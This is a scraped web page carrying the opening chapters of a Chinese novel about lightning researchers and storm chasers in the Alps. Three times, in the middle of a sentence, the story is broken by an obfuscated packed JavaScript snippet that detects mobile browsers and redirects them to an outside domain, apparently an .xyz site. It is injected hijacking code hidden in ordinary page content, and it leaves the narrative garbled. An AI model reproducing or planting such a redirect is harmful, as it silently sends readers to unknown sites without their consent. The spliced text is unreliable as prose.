《雷暴蝴蝶》 1. 灯塔 “许默,快把导线扔给我!” 夹杂在风雨中的男声将许默的思绪唤回,她连续眨眼几下,伸手摸了一把拍打在脸上的冰冷细雨。 几乎没有任何停顿。 她绕行到皮卡车后方,熟练翻身进入后车厢,在一堆杂物里翻找出导线,借着风势狠狠往前一抛。 被狂风吹得胡乱扭动的导线准确落进男子手中。 “你有没有听清楚我刚说的话?” 许默眼睛有些发红,呼啸的狂风让她快要睁不开眼睛。 见对方没有回应,她咬重语气:“韦烨燃!?” “现在不是说这个的时候。” 韦烨燃像是根本没听见先前她说了什么,连头都没有转过来,自顾指向远方不断汇集的云层:“我们等的东西终于到了。” 许默咬了咬牙,想从对方脸上看出点什么。 可在韦烨燃的脸上,除了狂热,别无其他。 在心里叹了口气,许默顺着对方指引的方向望去。 她的确也敏锐地感觉到了云层的变化。 这……不像是一般的雷暴。 顾不上再继续刚才的话题,许默迅速在车辆后拖箱里调试着仪器。 “正地闪值138kA,边界层辐合线交合点出现异常……” 看见极其不稳定的数据,许默难以置信地抬头朝上空望去。 这难道真是—— 「阿尔卑斯的灯塔」? 汇聚闷鸣的云层快要将整个天空遮掩。 传说在阿尔卑斯山脉的背面,只要你足够幸运。 就会见到由雷电构筑的天梯,它像一柱由天堂降下的光柱,在灼烧大地的同时,指引着迷途的灵魂前行。 那便是被当地居民所朝拜的「阿尔卑斯的灯塔」,也被称为「引渡灯塔」。 当然,足够幸运这四个字,便表明了「灯塔」的出现并没有任何规律。 有的人,专门在阿尔卑斯山脉蹲守大半年,也未能见证其一二。 毕竟就算在阿尔卑斯山脉背面的格伦希尔,这样一年有一大半时间都被雷电覆盖的地方,此等景象也是难能罕见的奇观。 这也正是韦烨燃和许默不远万里的目的。 韦烨燃没顾得给予许默回答,他将特制的底座插入泥土,狠狠踩上几脚,架好设备开始缠绕铜丝导线。 他要给「阿尔卑斯的灯塔」创造落点。 他要亲眼见证奇迹。 “Gewitter,Beeildich!(雷暴来了,快跑!)” 就在两人忙碌中,山崖远处有个光头中年路人朝着两人呐喊,闷鸣几乎将他的呐喊声淹没。 看样子他正准备下山。 许默双手捧在嘴前,用尽可能最大的音量朝对方回答。 “Machdirkeineenumuns,versteckdichschnell.(不用管我们,你快躲起来。)” “IchbitteumVerzeihung?(你说什么)” 可光头男子还是没听清她说的话,快步朝他们跑来。 许默只好放下手中布置的动作,翻身下车与对方解释,急切得快要连比带画。 但这哪是三言两语解释得通的。 没说几句,光头男子便和许默起了争执。 对方并不能理解两人的所作所为,甚至执意要将韦烨燃刚布置好的装置捣毁。 “Bitte,nicht.(拜托,不要)” 许默双手合十恳求着对方。 然而光头男子的粗犷身形哪是许默能抵挡的。 眼见深入泥土的基座即将被对方一脚掀翻。 “嗖——” 一道破空声贴着光头男子的耳边穿梭而过,打断对方的动作。 随后响起的,是扳手撞击在车窗上的清脆碰撞声。 这道声响将相互拉扯中的许默和光头男子都给怔住,一同抬头向前方的身影看去。 “Abreisen(离开)!” 扔出扳手的韦烨燃脸上并没有丝毫歉意,平静地转头朝对方挥了挥手,满眼全是望向雷暴里那止不住的兴奋和狂热。 “Waswillstdutun?(你做什么?)” 光头男子明显带着怒气,恶狠狠地朝韦烨燃瞪过去,抄起地上散落的金属架子就要迎过去。 在雷暴即将来临之前。 一场冲突像是在所难免。 “滋滋——” 好巧不巧。 一道如同前戏般的手臂粗闪电此时再也按捺不住,着急忙慌地落了下来,砸在几人外几十米处,将本就荒芜的泥土砸得焦黑。 几乎是响在耳边的雷鸣声让许默下意识地捂住耳朵。 但刺痛耳膜的雷暴声还是让她几乎两眼一黑。 “Gefahr(危险)!” 许默拉住光头男子提醒道。 眼见雷暴即将抵达。 光头男子也没心情继续计较下去,咬着牙用德语骂了句“ZweiVerrückte(两个疯子)”便不再理会,甩着膀子匆忙下山准备寻找掩体去了。 朝嵌入车窗一半的扳手看了眼。 许默手有些发抖,她快步走到穿着冲锋衣的男子身边,拉住对方手臂。 “韦烨燃,你刚又在发什么疯?” 从这片雷暴出现起,韦烨燃的行为便有些反常。 许默有些害怕。 不知道是因为头顶那即将落下的雷暴,还是身前那精神极其亢奋的男子。 她怕对方的情绪变化是先前她所说的话引起的。 韦烨燃根本没有回应她,而是反问:“你不高兴吗?许默。” 他就连鼻尖都因兴奋而发生颤抖,伸出双手食指和拇指,对着天空摆出一个长方形,尝试着将整片雷暴囚禁其中。 “我们将要见证「阿尔卑斯的灯塔」……不,这甚至是……” 激昂?亢奋?惶恐? 许默自己都不清楚此时外泄的情绪到底是何种。 她的身体在肾上腺素的作用下胸腔不断起伏,甚至感觉有些喘不过气来。 她眯着眼睛朝雷云深处望去。 许默的长发在负电荷的扰动下,如同蜘蛛腿般紧贴脖颈,耳膜在云层闷声的震动下隐隐发鸣。 “这甚至是……?” 她目光几乎呆滞地上抬,朝着荒野上方望去。 翻滚而来的墨海,将阿尔卑斯山脉背面本就乌黑的天际吞噬得一丝光亮不留。 与以往见过的雷暴皆是不同。 这般规模的雷暴,她从未见过。 这……真的是「阿尔卑斯的灯塔」吗? “许默,别怕。我们就要亲眼看见奇迹了。” 一道轰鸣声将男子要说的话堵了回去。 乌黑的天空像是要破开一道口子,拥挤的雷鸣迫切地想要宣泄。 “快走!” 许默急切地收拾好东西。 韦烨燃将底座最后的方位固定好,拉着许默跳上了皮卡车上,尝试着发动引擎逃离现场。 然而岁数比他们俩年纪还大的皮卡车打火器在雷电磁场下骤然失灵。 不论韦烨燃怎样扭动钥匙,都无法将车辆启动,只留下一声声如泄气般的哒哒声。 额头上的汗水与飘进车窗内的雨水混杂在一起,主副驾的两人急得心脏快要跳出喉咙。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861458|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静,韦烨燃,不要着急——” 许默看出对方握着车钥匙的手不断抖动,强压着自己的声音提醒道:“会打燃的。” “我知道!我当然知道!这该死的东西——” 韦烨燃狠狠拍打了一下方向盘,尖锐的喇叭声在漆黑的风雨里格外刺耳。 然而祸不单行。 车辆还未启动,一颗从远处被狂风卷来的枯木断骸准确击打在先前两人布置的底座上,将侧边的装置折弯。 这彻底击垮韦烨燃的心理底线。 “干!!” 韦烨燃发出一声怒吼,胡乱地趴在方向盘上一顿击打。 许默有些发愣。 她从未见过对方这般情绪失控的模样,赶紧握住对方手替他按压虎口。 “没事的,错过了这次还有下次……” 可韦烨燃深吸了好几口气,眼神决断地拉开车门就要去修整。 “不要去!”许默尝试拉住对方:“来不及的。” 还没等她说完,韦烨燃便顶着狂风下了车。 许默此时也顾不得其他,一个翻身从副驾驶位置坐进了主驾。 深吸一口气,转动钥匙启动着引擎。 “拜托——” 另一边的韦烨燃蹲下身子,强行用手掰起被折弯的右翼,发出一声又一声怒吼。 然而更多的雷电开始向他们所在的区域袭来,不断击打在不远处的位置。 焦炭味充斥着两人的鼻腔。 韦烨燃使出全身力气,好不容易将装置归位。 刚想站起身,却被迎面而来的一道闪电劈得差点摔倒,闪电的落点距离他只差几米远。 他木讷地抬头看去。 原来,在雷暴中央向上看去是这番景象,令人着迷…… 他的脸上不自觉出现诡谲的笑容。 “韦烨燃!伸手给我——” 就在他准备迎接雷暴的洗礼时,轰隆的引擎声和许默的呼喊声将他唤醒,他下意识地伸出了右手。 许默一脚将油门踩到了底。 伸出左手,未关车门朝着韦烨燃所在的方向拉去。 皮卡车在泥泞地里打了个180°原地旋转,许默一把握住对方的手掌将韦烨燃拉进车里。 头也不回地朝着雷暴外的区域疾驰。 五分钟后。 车辆停止在断崖前方。 许默坐在车窗上,朝着远处的雷暴望去。 虽然已经远离雷暴中心区域,狂乱的风雨仍然将两人布满雨水的冲锋衣吹到变形。 韦烨燃下了车,走到许默旁边将她的手勾住,十指紧紧扣在一起。 许默天然地有几分抵触。 想要将手指从对方手掌中抽出,但对方不知从何而来的力气,让她宛如被铁钳囚住。 荒寂的阿尔卑斯山脉上。 两人的身影被乌云压顶的黑夜抹得黝黑。 他们的上空,是那红到发紫、即将彻底爆发的雷暴。 韦烨燃转过身来,咧开嘴角近乎疯狂地笑了笑。 眼底好似是嗜血的欲.望。 许默紧紧抓住对方的手掌,还未开口,身后的雷云便开始翻滚。 积压其中的雷暴像是终于找到了宣泄口,以瀑布般的气势,猛烈地撞击着大地。 红得发紫、发黑。 仿佛一道劈开银河的赤刃。 正戏终于拉开帷幕。 此时,他们都忘了想要说的话,一同看向对流中心,发出同样的德语单词。 「阿尔卑斯的灯塔」 风雨和轰鸣快要将他们吞噬。 许默紧紧闭上眼睛默念。 ——「许默,你永远也不要忘记这一刻」 2. 三年 “奥若拉,你有在听吗?” 电话听筒对面传来李逸关切的声音。 许默费力地从转盘上将行李搬下来,才重新用肩膀枕着手机贴回耳边。 “怎么啦?” “我刚说,”电话另一头的李逸无奈说:“你确定找得到他吗?” “谁啊?”许默一边寻找机场出口,一边应答。 “别装糊涂了,说你那半死不活的男朋友啊,还能是谁。” “喔,”许默伸出手指点了点出站方向,“当然没问题。” 李逸发出明显的“啧”声,“要我说,三年都不见面的男朋友,都默认为他不是瘫了就是死了,不知道你还去找他做什么。” 许默语气没怎么变化:“他忙嘛。” “是忙,”李逸有些气不打一处来地说:“YouTube账号倒是经营得风生水起,自己的女朋友却是不上一点心。” “好了,”许默赔笑两声,“先不和你说了,我忙着出机场呢。” “诶,等下,”李逸觉着有些奇怪,“你今天才抵达的格伦希尔?我怎么记得你是昨天的航班。” 许默身形顿了半秒,滴水不漏地回答:“改签了,昨天天气不好,航班取消了。你知道的,这边总是阴晴不定。” “哦……”李逸还想说点什么,电话那头远远地传来一阵嘈杂的中年男声。 “李逸你在和许默通电话?” 李逸捂住听筒说了句“惨了,被组长看见了”就回应着对方:“没呢,我订外卖呢。” “没个屁,”中年男子声线提高:“你给许默说,让她把这次的直播好好做,全世界的同行可都全盯着呢,别把研究所的脸给丢了……” 随后又说了一大堆,翻来覆去又是那些。 “好的领导。”李逸干笑了几声,继续低声道:“你可都听到了,别找男友把正事给忘了。” “知道啦。” 许默耸了耸肩,挂断了电话。 站在航站楼二楼朝落地窗外望去。 阿尔卑斯山脉特有的地中海式气候景观一览无遗。 许默看向云端,整个人像是要缩进风衣的领子里。 好冷。 她驻足几分钟,深深吸了一口气调整情绪,才拖着行李箱朝着出口方向迈去。 阿尔卑斯山脉,号称是拥有全欧洲最美丽的自然风光。 风和日丽、山峦连绵。 但只有少部分人知道,在山脉向东西延伸的背面。 有一处常年被雷暴覆盖的区域。 那里是与蓝天白云完全不相干的地方。 不知是独特的浅丘地势导致还是怎的,云层里汇聚了大量的正负离子,时刻充斥着雷暴的席卷。 雷暴区域的电场可以瞬间达到几百千伏的电压,总的能量相当于核弹的爆炸能量的十分之一。 荒草、秃壁将那里覆盖。 无处不彰显着狂野和原始的气息。 那便是「格伦希尔」。 在当地人口中,这几乎已是雷暴的代名词。 让人战栗、恐惧,望而生畏。 时隔三年,许默重新踏上这片土地。 她站在落地窗前驻足好一会儿,不知在思索着什么。 隔着老远,便看见到达大厅有一名身着正式装扮的金发女子举着研究所的牌子,一边刷着手机。 看举止,不像本地人。 “你好,”许默走到对方面前伸出手,熟练地用德语向对方询问:“气候应对与大气物理研究所,研究员奥若拉,请问你怎么称呼?” 金发女子瞧见来的是位年轻女子,脸上闪过一丝意外又很快恢复从容:“奥若拉小姐?” “是的,怎么?”许默抬头,将落在肩上的长发捎下。 “没,”金发女子干笑了声,“我只是以为自己接的会是位……,没想到……” “没想到什么?”许默盯向对方碧绿的瞳孔。 对于这种场景她的确也不是第一次遇见了,她的面貌的确给研究员这个身份带来些许困扰,至少初次见面很难取得别人的认真对待。 就像中医要找年迈的,才够靠谱。 这种刻板印象,并不少见。 金发女子带着笑意快速打量她两眼后说:“抱歉,我只是以为你是位模特,或者演员,有一副从事研究工作而让人觉得可惜的容貌。” 许默怀疑这金发女子是法国来的,轻佻的话语说来就来,一点不脸红。 “Anyway,欢迎来到格伦希尔,你可以叫我克里斯。” “你好,克里斯。” 许默并没有因为轻浮的话语而轻视对方,伸出手与对方握下。 克里斯是研究所在格伦希尔的外聘专家,主要负责数据收集和分析。 近几年里为所里提供了非常多雷暴研究前线上的第一手数据。 而这次直播,研究所便让许默和克里斯对接。 对方自然而然成为许默在格伦希尔的联络人。 克里斯引着许默从到达大厅离开,笑谈道:“奥若拉小姐,没想到你的德语说得这么好,我也算是半个母语者了,都听不出你的任何口音。” “谢谢夸奖,麻烦叫我奥若拉就好。”许默朝对方笑了笑 两人年纪相仿,克里斯也没有拒绝。 “OK,奥若拉,”克里斯继续问她:“你难得来一次格伦希尔,我带你好好转一转?” 两人并排走出机场通道。 “不用了。” 许默站在玻璃檐下抬头看了看。 “又是要下雨了。” “什么?”克里斯一时没跟上她跳脱的话语。 许默不紧不慢地从行李箱里掏出雨伞。 抵在地面抖了抖,撑起伞面走出了航站楼的玻璃檐。 然而刚还晴空万里的天空,不过眨眼之间,便淅淅沥沥下起了太阳雨。 准确敲打在许默的伞面上,发出闷响。 感受到落在肩上的雨珠,克里斯连忙将随身携带的折叠伞打开,快步跟上许默的步伐。 她摊了摊手道:“看来,用不着我多介绍了。” 至少格伦希尔那阴晴不定的天气,对方是把握住了。 许默转身朝她笑笑:“我以前在这里待过一段时间,还挺熟悉的。我们直接去踩点吧,是在布伦纳山口附近吗?” “不先去旅馆吗?”克里斯有些惊讶。 许默询问:“是在特蕾西亚区吗?我们可以顺路过去。” 克里斯微微一愣,随后笑着说:“奥若拉你肯定很久没来格伦希尔了吧,自从那场、嗯……灾难后,新的格伦希尔几乎重建,特蕾西亚区域已经不再使用了,旅馆在凯旋门区域。” 许默失神片刻,摇了摇头:“那算了,我东西不多。我们直接去现场。” “OK。”克里斯耸了下肩,抵达停车位,颇有“绅士”风味地替许默拉开了车门。 从机场到布伦纳山口大概只有60多公里,就算在格伦希尔这种基建不怎么发达的地方,也只需要一个多小时。 两人年龄相近,又都是一个专业领域。 很快便熟络了起来。 也不知道主副驾的两人怎么闲聊到了婚姻,自然而然地谈论起男友这个话题。 “你男友在格伦希尔?”克里斯略显吃惊,不可置信地侧过头来。 许默笑了笑,给予对方肯定的表情。 “也是亚洲人吗?”克里斯继续询问。 许默点了点头:“是的,也是中国人。” 克里斯仔细在脑海中搜寻东方面孔的男子,格伦希尔这地方,地广人稀,说不准她还真认识。 “他叫什么名字?”克里斯一手握方向盘一边说:“没别的意思,只是觉着有趣,你不介意的话。” 许默摇了摇头,并没有介意对方的问题。 “韦烨燃。” 她用标准的中文发音说出对方的名字。 “韦烨燃?”克里斯像模像样地重复了一遍。 许默补充了一句:“他的英文名字叫Selway。” 一个急刹车让轮胎在柏油路上打滑,冒出阵阵青烟。 克里斯紧紧抓着方向盘,难以置信地看向许默。 “Selway是你的男朋友?”她嘴巴微张,像是听见匪夷所思的事情。 “怎么了?”许默拉住车门上的扶手,被她这样一晃差点没把人给晃出去,“你有听过他吗?” “我哪里是听过,”克里斯表情夸张地说:“YouTube上Selway的频道是他创建的吧?我可是他的忠实粉丝。” “是吗?”许默微微有点低下头,“他的频道订阅人数确实挺多的。” 克里斯不禁感叹一句:“Selway居然是中国人!” Selway的频道因为持续更新许多与闪电相关的极限运动。 非常受西方年轻人的追捧。 前不久,还上了十大户外区YouTuber盘点。 当然,这些信息也是李逸日常冲浪转告给许默的,并不是韦烨燃亲自告诉她的。 “姐们儿,你可真牛,”克里斯这才重新发动车子,“号称雷电幽灵的Selway居然是你男友,他可真是太神秘了,如果你能帮我要张签名照那就最好了,天知道我有多想看看他长什么样。” 不得不佩服西方人那天然的自来熟。 “其实……”许默揉了揉鼻子,“我也很久没和他联系上了,这次来格伦希尔,也是想当面和他见上一次。” 三年了。 他们之前也该有个说法了。 许默不知为何胸口紧得有些出不过气。 “WHAT?!” 然而许默的这句话直接让克里斯爆出了母语。 “你也联系不上他?直接失联了吗?” 许默点了点头。 克里斯扯了扯嘴巴,觉得好像也不是那么离奇,毕竟对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还是一如既往地火爆啊今天,Chris宝贝~”摩托男丝毫不生气地朝她眨了眨眼睛,望向副驾驶说:“哟,还有新面孔呢,原来还是个东方美人。” 说完,摩托男轻浮地朝许默招了招手。 揽在摩托男腰间的热裤女子倒过身子,同时朝许默勾了勾手指。 一男一女看向许默,也不知道在乐呵什么。 “滚吧,没教养的东西,今天姐没工夫陪你们玩。”克里斯作势就要打方向盘朝对方转去。 吓得摩托男一个转向,吹着口哨一溜烟带领着摩托车队离开了越野车的包围。 “一会儿见,宝贝。” “真是一群疯子。” 克里斯“礼貌”地按了几下喇叭,“欢送”对方离去。 “他们是?”许默有些疑惑,她以前未曾见过这些人。 “一群不要命的家伙。”克里斯摇了摇头,“是这几年聚集在格伦希尔的,跟苍蝇似的,数量越来越多。不知道他们都来自哪里,但都是为了追赶雷电而来的。” “追赶雷电?” 许默手指莫名抖了抖。 “是啊,也不知道从何时起,追赶雷电竟也成了一种潮流。” 克里斯无奈摇摇头,停下车辆。 操作起仪表,将避雷仪器升降起来,“做好准备,有他们在的地方,肯定少不了一样东西。” 许默按住自己不断抖动的手指:“什么?” “雷暴。” 克里斯转过头来,一脸认真地对她说:“他们是一群自称雷电捕手的家伙。” 许默解开安全带,打开车窗,侧着身子坐在了车门上。 她将墨镜抬到额头上,借着为数不多的光线朝着摩托车队离开的方向瞰去。 荒野上特有的狂风吹散她的头发。 她瞧见了那群人。 以骑着改装摩托为主,两三辆皮卡车跟着后方。 他们有的抱着音响、有的相互搂着对方。 时而高歌、时而吹着口哨,在荒野的雷云下肆意穿梭。 无畏又愚昧。 某种瞬间,许默与他们达成了共频。 她与从前的韦烨燃,不也一样疯狂吗? “你瞧瞧他们都在干些什么。”克里斯一脸鄙夷地伸出脑袋。 “活着。” 许默平静地说。 “什么?”克里斯不解。 许默将手枕在车顶,闭上眼睛仰着头,尽可能地将身体往外探。 仿若身体的每个细胞都拼命地深呼吸。 这一刻,她把自己想象成一阵风。 一阵自由的风。 透过云层的丁达尔光洒在她白皙的皮肤上。 充满野性的微卷发在上升气流中荡漾。 她说。 “他们在自由地活着。” 3. 瓶装闪电 越野车外的天空由湛蓝转为铅灰,云层快速堆积,形成厚重的积雨云。 骤然,风停了。 原本轻轻摇曳的风滚草齐齐静止,连最细小的叶枝也不再颤动。 那名叫Erik的男子“CheeHoo”一声,面目狰狞地调转摩托车头,开始在百米外转着圈。 车尾扬起的黄沙让人看不太清里面的状况。 许默抬头朝车队上方的雷云看去,皱眉说:“他们还不离开吗?要不了几分钟就要落雷了。” “离开?” 克里斯不屑一顾地笑了声,“他们可正在兴头上呢。” 许默瞳孔微微收缩。 这群人,是想做什么?或许……比她想象的还要疯得多。 翻涌的雷云就像快到deadline前急着催命的领导。 不给人半点反应的时间,瞬息之中便开始风掣雷行。 “Max,准备好了吗?” 围着面巾的Erik朝车队后方的人喊了一声,停下摩托车迅速开始在地面摆弄着什么。 “开始了,老大。” Erik对着举起手机的Max摆出个“OK”的动作,便开始朝着镜头手势夸张地说话,看样子是在直播。 “Hi,guys,欢迎回到我的频道,我是你们的雷电捕手Erik,”Erik伸手取过手机,围着人群转了一圈,“来,大家打个招呼!” 一群人又蹦又跳地朝着镜头sayhi。 隔着老远,许默瞧见了Erik布置在地面上的装置。 金属舌头、接闪带、接闪线、接闪网……别说,还挺专业。 “他们,是想把闪电引过来?” 许默瞬间明白他们的用意。 克里斯摊手:“不然怎么能叫‘捕手’呢。” 说完递过来一副望远镜。 许默突然好奇起来。 她接过望远镜打量着远处的那群“雷电捕手”,想看看他们到底要做些什么。 Erik刚好对着镜头介绍完,指了指天空说:“guys,现在是表演时间。” 说完跳上摩托车,围绕着先前他布置的装置开始旋转,在黄土上留下一圈又一圈的轮胎印。 许默这才看清对方装置中央。 除了寻常的导雷器材外,导线延长端一直延伸进搁置在地面上的特制玻璃瓶。 云端是电荷摩擦带来的闷响,地面上是嘈杂鼓点,抱着播放着摇滚乐的音响的人群。 像是两边谁也不让着谁。 这幅场景。 是许默从未曾见过的怪异举措。 是人与自然相互抗争的奇异场景。 “它来了。”Erik扯着嗓子吼了一声。 云层深处亮起一道惨白的光,紧接着是震耳欲聋的雷鸣。 许默握着望远镜的手微微发抖,她赶紧伸出左手稳住右手。她能感觉到空气中的电荷在皮肤表面跳跃,像无数只蚂蚁在爬。 第一道闪电划破天际时,Erik的车队猛地将铜网抛向空中。 铜网在狂风中展开,形成一个完美的圆形。 闪电仿佛受到某种召唤,笔直地劈向铜网。刺目的白光中,许默看见电流顺着铜丝流窜,一直导向Erik先前布置的落点。 轰鸣声。 让人震耳欲聋。 许默眼前浮现出一阵白光,短暂夺去她的视线。 几乎是下意识地闭下了眼睛。 闪电如同一道让人后背发凉的利刃。 一下又一下剖开脆弱的心脏。 再次听见前方传来嘈杂的人声时,许默才重新睁开眼。 雷暴已经结束。 格伦希尔的雷云,来得快去得也快。 不过是几次眨眼白光,密布的乌云便消散开来,重新露出了湛蓝的天空。 “Wow!”Erik几乎是要趴在地面,将镜头重新怼在先前闪电落点附近。 “是完美的蓝色闪电。” 他将地上的玻璃瓶取在手中,在镜头前全方位的暂时一圈。“guys,如有喜欢的请在下方链接购买。” 许默总算是看明白了。 这群叫作“雷电捕手”的家伙,是想把雷电引入特制的玻璃瓶中。 瓶子里放了某些特殊的物质,被电荷灼烧后呈现出不同的颜色。 而他们就靠着这种特殊的痕迹,宣称捕捉到了雷电。 “是不是挺搞笑的?” 克里斯用手肘抡了她一下,上挑的眉毛明显是在戏谑。 她这种专业出身,从事雷电研究工作的学者自然是瞧不上这种鲁莽的行为。 只是她没想到许默扑哧一声笑了出来:“我觉得……倒还挺有趣的。” “哈?”克里斯瞪了她一眼,显然不知道有趣的点在哪里。 在两人的交谈中,“捕猎”结束的摩托车队很快又重新驶了过来。 “Hi,Chris宝贝。”Erik行驶到许默车窗边缘停了下来,重新朝克里斯招了招手,又转头朝许默问询:“我亲爱的东方美人,请问该怎么称呼?从哪里来?” “奥若拉,中国。” 许默坦然回答。 “Wow,”Erik脸上露出一丝吃惊,笑道:“我也有一半的中国血统呢,看不出来吧?” 说完还装模作样秀了把中文,酝酿半天吐出个极为不标准的“你好”。 许默没信一丁点儿:“是没看出来。” “总之,”Erik抬起许默的手背虚吻一下说:“来自中国的奥若拉,有没有人说过,你的眼睛就像银河一样深邃,你的面容让我想起了一个人……就像从壁画中活过来的玛丽女王。” 许默眉毛没忍住跳了跳。 Erik继续说:“怎么样,美丽的奥若拉小姐,有没有被我刚才征服雷电的英姿所吸引。” 如果不是对方腰间还挽着女伴的手,许默甚至以为对方是在和自己调.情。 许默强忍着笑意说:“倒也还好。” 说完她又明知故问:“你们刚才是在捕捉闪电?” “没错,”Erik撩了把稀疏的长发,将皮夹克掀开一半,露出丁零当啷的声响,“有没有兴趣,拥有一瓶格伦希尔独有的瓶装闪电。” 挂在皮夹克内侧的,全是先前那种特制的玻璃瓶。 瓶子中心不知用什么材质做的蕊已经被闪电灼烧成不同颜色。 “传说,瓶装闪电会给主人带来数不尽的好运哦。” 许默扫了几眼,琳琅满目皆是他所谓的瓶装闪电,看样子对方今天这种行为没少做过。 瓶中的“闪电”像一条条被困的银蛇,张牙舞爪地扭动,最终定格在某个瞬间。 “这就是瓶装闪电?”许默淡淡扫视后收回视线,扬起下颚线说:“瓶子里有它留下的痕迹,可不代表它还存在其中。” “oh,亲爱的,”Erik低下头语气暧昧地说:“既然已经有了存在的痕迹,又何尝不是一种存在的证明。” 薛定谔的闪电是吧? Erik放下许默的手背,咧嘴说:“亲爱的,如有看中的尽管跟我说,foryou,一瓶只要49欧。” 啥? 这东西要卖49欧?!还专门给她打了折扣? 疯了吗? 许默保持着微笑说:“也许下次吧。” “没问题,”Erik并没有因为她不消费而失去热情,“今晚我们将在镇子西边的郊外开派对,欢迎你们的加入。” “Bye,美丽的奥若拉小姐,Bye,克里斯宝贝。” 说完,招呼着后方的车队一溜烟地跑了。 只留下一地黄沙。 主驾上的克里斯直到看不见对方身影了,才将竖起的中指收了回来。 “好吧,现在你应该知道我为什么是Selway的粉丝了吧?”克里斯撇了撇嘴。 “嗯?”许默不解。 “那还不是因为……Selway可没他那么多话。”克里斯打趣道:“你们中国不是有一句俗语吗?沉默,是男人最好的嫁妆。” 许默笑出了声。 这Erik还挺有趣的,就是满嘴跑火车。 和Selway更新视频里充满艺术的构图风格和细腻的镜头语言不同,Erik明显是那种外放型,靠着哗众取宠来博取流量和关注。 不得不说,还挺有效果。 Selway频道的关注者以女性为多,而Erik直播的观众,不用想也知道主要面向男性群体。 “雷电捕手……” 许默轻声念了一句。 没想到三年过去,现在已经发展出了这样的群体。 来自于非官方机构。 如同一群扑火的飞蛾,说不准生命就在哪次“扑腾”中湮灭。 要是放在以前,她和韦烨燃也算是某种形式下的“雷电捕手”吧。 “走吧,我带你去现场踩点。” 克里斯重新启动了车辆,带着许默朝布伦纳山口的方向行驶去。 抵达布伦纳山口时,已经有另外一辆ORV等候在原地。 “这次直播团队除了我以外,还有两名成员一起配合你。” 克里斯拉开车门,与站在车边的人打着招呼。 “Joe,主要负责设备。” “广太,主要负责数据处理。” 许默与他们握手介绍起自己:“Hi,我是中国来的奥若拉。” “这次的直播任务大家前期都略有了解,”克里斯让出身子,“具体的内容请奥若拉为大家讲解。” “OK。”许默将随身携带的平板取了出来,调出了卫星图。 “大家应该都知道,此后的两周内,研究所通过模型预测到将会在格伦希尔郊野出现超大型的雷暴。” 雷云的运转图和流向图出现在图形中。 许默指向其中一个点位。 “而我们的首要任务,便是以科普性质在全球范围内直播这场雷暴最为震撼的一幕。” “那便是——「阿尔卑斯的灯塔」。” “Wait,”两人明显表情一凝,Joe抢着说:“这是根本不可能完成的任务。克里斯,你前期只是和我们说要直播雷暴,根本就没提「阿尔卑斯的灯塔」的事情。” 克里斯摊手,“我要早提了,你们还会参加吗?” 广太扶了扶眼镜,低声道:“模型虽然是计算出将会有大型雷暴,但「阿尔卑斯的灯塔」的形成规律至今还未可靠分析,是否能被镜头捕捉、是否能在雷暴中找到它的踪迹,甚至它是否出现,这都是个伪命题。” 言下之意,很有可能几人白忙活几周的时间,甚至连「灯塔」的尾巴都找不到。 克里斯拍了拍对方肩膀:“所以,研究所不是派了高手来吗?你说是吧,奥若拉。” 瞥见克里斯那诡谲的眨眼,许默明白自己又被架在火上烤了。 她会不知道这是不可能完成的任务吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861460|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在研究所公布这项直播任务时,所有人都在找借口推诿。 她那爱表现又缺乏担当的组长,信心满满地接了下来并转手扔给了她。 研究所里谁也没对这次直播抱有信心。 不然这般规模的直播,就算是在格伦希尔,又怎么会只给她3个人的团队。 - 傍晚。 许默和克里斯入住了附近镇子上唯一的旅馆。 旅馆的老板是名叫Jully的女生,看起来比两人大不了多少。 许默有注意到,对方走路的姿势有些不太协调。 顺着对方右腿看过去,是佩戴义肢的原因。 Jully察觉她的视线。 坦然地抬起右腿自嘲一句:“都怪三年前那场雷暴,对吧?” 克里斯垂眼在胸口划出十字:“那该死的雷暴。” 许默朝看上去还算乐观的Jully点了点头,移开视线。 在格伦希尔,随处可见那场灾难的受害者。 三年时间过去,不论是被毁的建筑还是人们的生活,都已逐步恢复正轨。 Jully虽然行动不是非常便利。 但一个人把旅馆运转得有条不紊,做的晚餐味道也很是不错。 才刚吃完晚餐,许默回到房间洗了把脸就听见急促的敲门声。 拉开门一看,正是“有点”不一样的克里斯。 对方一头金发显然打理过。 此时穿着与职业装完全不同风格的皮衣,颇有机车风格。 左手拿了瓶当地的精酿啤酒,招呼着许默:“快走呀,你不会穿这身去吧?” “哈?” 许默干巴眨了下眼睛。 “去哪?” 克里斯冲进来就开始翻许默的衣柜:“Party啊,下午那臭狗不是邀请我们去来着。你不会是要一个人凄惨地窝在旅馆里,熬过漫漫长夜吧?” 许默刚想问对方下午时不是还特别讨厌Erik吗,又是爆粗口又是竖中指的。 现在怎的又急赶着去对方的派对。 想了想,还是算了。 他们洋人的事情,弄不明白的。 “你去吧,”许默拍了拍衣服,“我想在旅馆休息下。” “Stoptalking!放心,我不会抛下你一个人的。” 克里斯自顾自地从许默的行李箱中翻出几件衣服,都不满意地扔在了床上。 